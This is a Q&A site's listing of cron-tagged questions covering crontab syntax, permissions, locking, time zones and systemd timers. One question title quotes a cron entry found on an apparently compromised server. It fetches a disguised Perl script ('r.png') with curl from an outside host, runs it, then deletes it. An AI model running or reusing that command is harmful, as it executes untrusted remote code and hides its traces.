Cron is a job scheduler that allows users to run commands periodically.

learn more… | top users | synonyms (1)

1
vote
1answer
41 views

Running a cron job randomly for every one hour

I want a cronjob to run every one hour randomly. (i.e if the first job runs at 58 minutes,the second job should run at 47 minutes and the third one at 52 minutes and so on) But this should run ...
1
vote
1answer
30 views

My backup_system.sh file didn't run under crontab

So i created a script used to backup system, i tested and it worked. Here's the script: #!/bin/bash backup_files="/home /var/spool/mail /etc /root /boot /opt" dest="/mnt/backup" day=$(date +%F) ...
1
vote
0answers
22 views

Minecraft acting differently when started from terminal compared to started by cron job at start-up

So I use a CentOS Linux 7.2.1511 server, where I host a couple of things, amongst them a Minecraft server. Since from time to time server is rebooted I scheduled a cron job to run minecraft server on ...
1
vote
2answers
20 views

Get owner / user of a cronjob

In Linux (Mint / Ubuntu), I can create cronjobs for each user individually. Is there any way, I can find out the name of the user against whome the cronjob is running. I want to get the username of ...
1
vote
1answer
34 views

Get a list of all scripts and their paths which are run as cron job

I am looking for some script or terminal command to list all the scripts (preferably with their paths) which are run on a periodic basis by cron, cron.daily. I am not looking for any filter for time-...
1
vote
1answer
46 views

launch process foreground on boot

I know how to launch programs in the background with cron on boot or at certain intervals, but in this case, I want to launch a python script in the foreground, automatically when the computer starts, ...
1
vote
1answer
28 views

Crontab and NMCLI

I have created a script called connection.sh, it is used to automatically connect to my vpn : #!/bin/bash nmcli connection up MyVPN I have already tested it, and it works if I launch it manually, ...
1
vote
2answers
52 views

Where are my lost cron jobs?

I am trying to port the code over to a new server hosted somewhere else, and I want to know what cron jobs are running on the old box. Where can I find these? crontab -l SHELL="/bin/bash" 0 0,6 * * ...
0
votes
1answer
27 views

Custom scripts under /etc/profile.d and /etc/init.d - rhel6 and rhel7

I need to start my script during boot time. I have read that the scripts under /etc/init.d & /etc/profile.d are sourced during system startup. How different are these directories? Other than the ...
1
vote
3answers
11k views

crontab error with (No MTA installed) but I use >/dev/null 2>&1

I'm new on linux user I try to run crontab to backup my database with vagrant user * * * * * /usr/bin/mysqldump -h localhost -u root -p root mydb | gzip > /var/backup/all/database_`date +%Y-%m-%...
5
votes
2answers
23k views

What are the runtime permissions of a cron job?

When a cron job runs with what privilege does it execute? I'm not sure about that. Is it with the same privileges of the user that added it via crontab -e?
8
votes
3answers
5k views

Crontab entry with hour range going over midnight

Is this valid crontab time specification, doing what is expected: 0 22-4 * * * Or is it necessary to do something like 0 22,23,0,1,2,3,4 * * *
0
votes
2answers
399 views

Crontab does not work properly in Ubuntu

I am learning how to use cron. I wrote some simple code in my crontab # m h dom mon dow command */1 * * * * echo "1 minute"> ~/Document/cronoutput I expected it to print the words every ...
0
votes
2answers
30 views

Does cron execute jobs asynchronously?

If I add 5 jobs in my crontab, do they execute asynchronously in parallel ? Two of my jobs may take 10 minutes to complete and I want to know if I need to run them in the background (by adding the &...
0
votes
4answers
71 views

Ensure that cron daemon stays running

If on a debian 7 server (wheezy) running in a hosted VM and an up-to-date cron daemon there is a bug so cron stopped running without obvious reason. Since this only happened once ever since, it is ...
0
votes
1answer
18 views

cross-reboot monotonic systemd timer

The timer functionality of systemd includes monotonic timers, which measure time in real uptime since some starting point after boot. This means that after a boot, the service triggered by the timer ...
1
vote
1answer
60 views

Two cronjobs not working (one to start a process, one to stop a process)

I typed the following into crontab -e 0 0 * * * bitcoind -datadir=/home/pi/bitcoinData -daemon 0 6 * * * bitcoin-cli -datadir=/home/pi/bitcoinData stop I expect this to run bitcoind -datadir=/home/...
10
votes
8answers
6k views

cron Vs. sleep - which is the better one in terms of efficient cpu/memory utilization?

The Case: I need to run some commands/script at certain intervals of time and for this I have two options: set up a cron-job implement a loop with sleep in the script itself. Question: Which is ...
4
votes
5answers
2k views

nginx logrotate error on cron job

I'm running Ubuntu 14.04 LTS and nginx on a Digital Ocean VPS and occasionally receive these emails about a failed cron job: Subject Cron test -x /usr/sbin/anacron || ( cd / && run-parts ...
0
votes
2answers
52 views

Cron Job: Redirecting shell script output to a file

Just an one line shell script below not working as a cron job but executing directly from terminal works fine: #!/bin/bash echo "Executed" >> ./crond.log 2>&1 What might be the ...
2
votes
1answer
795 views

Check for process already running in webfaction?

I use Django framework on webfaction and have 5 different cron jobs. One of them lasts much longer than others and sometimes gets stuck (30-120 seconds or more). I have already set that cron job to ...
0
votes
1answer
48 views

How to run a script outside of home directory via cron

I have a script located at /home/user/backup.sh I'm trying to execute this script via my root crontab. It isn't running. The script works if I create the crontab under my user account. Is there ...
0
votes
0answers
35 views

Default crontab that executes cron.(hourly|daily|weekly|monthly)

I have to build a crontab that will execute (with run-parts) any script located in the standard /etc/cron.(hourly|daily|weekly|monthly) folders. I have never done this before. Does this look correct?...
-5
votes
1answer
67 views

Shell script to delete logs when the disk space reaches 90%

I need help to develop a shell script to delete the logs automatically once the disk space reaches 90%. I can add this shell script to crontab jobs.
1
vote
3answers
105 views

add text on line before match

Trying to add text on the line before that it find the match (updateKey.sh) in this case, but won't get it to work. Here is my crontab file that the script adds the line to 0 06,18 * * * /home/server/...
47
votes
11answers
34k views

Correct locking in shell scripts?

Sometimes you have to make sure that only one instance of a shell script is running at the same time. For example a cron job which is executed via crond that does not provide locking on its own (e.g. ...
-2
votes
2answers
51 views

Why does running a Cron Job as root stop the sshd service and disallows login for other users?

I have a script for getting Clamav updates from another server which I run as a Cron job as root. Also, I have root login disabled for /sbin/nologin. But this has serious implications on the system as ...
6
votes
5answers
2k views

Change the time zone of a cronjob

I have a cronjob which is executes every day at 9:00 AM of UTC-Time. I'm in GMT+1 so it executes at 10:00 AM local time. When there is the timezone change (to daylight saving time, DST), the cronjob ...
13
votes
1answer
334 views

Cron vs systemd timers

[NOTE: The intent of this question is to help people evaluate whether systemd timers would be a good choice for their job timing needs. Many (most?) people are probably using cron, but maybe some are ...
0
votes
1answer
64 views

CRON: pam_unix(cron:session): session opened for user root by (uid=0): Is it a must have process?

This post is somewhat similar but mine is rather specific. CRON: pam_unix(cron:session): session opened for user root by (uid=0) Is this really a bug? In our system this process is creating ...
0
votes
0answers
23 views

cron job quit working after latest apt-get upgrade

I've been running a cron job every 15 minutes for years, with few problems. Sometime in the last week, it quit running, I'm assuming after a apt-get upgrade && apt-get dist-upgrade. I was ...
13
votes
7answers
25k views

How to restart the Python script automatically if it is killed or dies

I am running my Python script in the background in my Ubuntu machine (12.04) like this - nohup python testing.py > test.out & Now, it might be possible that at some stage my above Python ...
3
votes
1answer
37 views

Why am I seeing much more cron jobs in webmin than in `crontab -e`?

I am just starting to learn cron jobs. Basically I am going to use webmin to manage my cron jobs, I am also reading some basic information about cron jobs. So far I've learned that /etc/crontab ...
0
votes
1answer
41 views

Crontab: Why won't it execute script

So in the past I just did a simple shutdown crontab, and that was it. Lately, I want to do something a bit more complex, so I'm trying to get it to run a script. Right now I've boiled it down to a ...
1
vote
1answer
92 views

How to build cron docker image properly?

I am trying to build Debian-based image to dockerize cron process, but my cron jobs are never started. Here is my Dockerfile: FROM debian:jessie RUN apt-get update && apt-get install -y --no-...
0
votes
1answer
47 views

Cron stopped logging to /var/log/cron.log

A month ago I set cron to log to /var/log/cron.log by modifying /etc/rsyslog.d/50-default.conf. Logging worked great until I changed permissions on /var/log (by easing permission restrictions), and ...
0
votes
1answer
57 views

Cannot Bash chgrp GROUP /home/*/SOMEFILE/ How to do it?

So am setting a code that will change group owner of the file to a specific group. PS there are more than 10 users, with same folder and file structure, and i want change the ownership of a specific ...
1
vote
0answers
13 views

Using crontab to start redshift on boot? [duplicate]

I am using crontab to start redshift on boot. @reboot /usr/bin/redshift is showing from crontab -l. My redshift.conf is configured properly and invoking redshift works from the command line. Also ...
2
votes
0answers
189 views

How to overcome this error when running a script in crontab?

This is basically my script. #!/bin/sh #set -x PATH=/usr/jdk/instances/current/bin:/usr/bin:/bin:/opt/ss7/access/bin:/opt/ss7/sgc/bin:/opt/ss7/access/install:/opt/ss7/sgc/install:/usr/jdk/instances/...
0
votes
1answer
34 views

Accumulating sendmail processes

I've been having an issue where I'll see many instances of a particular process: /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t I've done a bit of reading and it seems like the processes are ...
-1
votes
1answer
273 views

Plesk, Centos server error: Cron <root@…> cd /tmp;curl -s -O http://…/r.png;perl r.png;rm -fr r.png [closed]

I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and ...
16
votes
2answers
737 views

Does crond handles summer time +1 hour change?

Last weekend we had to change the time from 02:00 to 03:00. Question: What would happen if there was a cronjob at 02:30? crond is a very old solution for scheduling, it should probably handle it, ...
3
votes
1answer
634 views

How do I push a Mercurial repository to BitBucket over ssh? [closed]

I created a public key for ssh and registered that key with BitBucket. I then attempted to push: $ hg push ssh://jhayward@bitbucket.org/johncharrell/[project name] pushing to ssh://jhayward@bitbucket....
0
votes
1answer
30 views

cron not working with commands symlinked in custom PATH

I have a script job.sh in /home/user/scripts, which is then symlinked to /home/user/bin/job. The custom binaries path has been included in .bashrc, so whenever I issue the command job param1 etc from ...
1
vote
4answers
154 views

Dangers of using rm command with variables

I am creating a crontab that compresses 15 minute clips from my security camera into one file (24 Hours Long) and then having the clips delete. avimerge -o /media/jmartin/Cams/video/Full_$(date +%F --...
2
votes
3answers
370 views

Cron job working, but crontab -l says no jobs

I am running Raspbian on a Pi and installed cron to schedule a job. I wrote a Python script and I set it to run every 5 minutes. The job is happening every 5 minutes, no problems, but when I run ...
0
votes
1answer
43 views

Crontab task not trigerred

I am trying to automate backup management on server on raspberry and put a regular tar triggering into a crontab. I set it up via bash scripts. First I set up the task and then use script to carry out ...
3
votes
1answer
30 views

How to one way sync two folders on startup

I am trying to synchronize: /var/www/CI_MAIN/ according to the changes made in: /home/coco/workspace/CI_MAIN/ (PDT's workspace). To do this, I entered sudo crontab -e in the command ...
30
votes
6answers
93k views

What does '>/dev/null 2>&1' mean in this article of crontab basics? [duplicate]

I am reading an article about crontab There is something about disabling automatically sending emails. Disable Email By default cron jobs sends an email to the user account executing the ...
3
votes
2answers
2k views

Crontab change MAILTO for only one specific job in Root's crontab

Can I do the following to change where mail goes for one specific crontab job in root's crontab (don't sent to root for Do Something job, just send to porklover): # Make a hambone appear * * * * * /...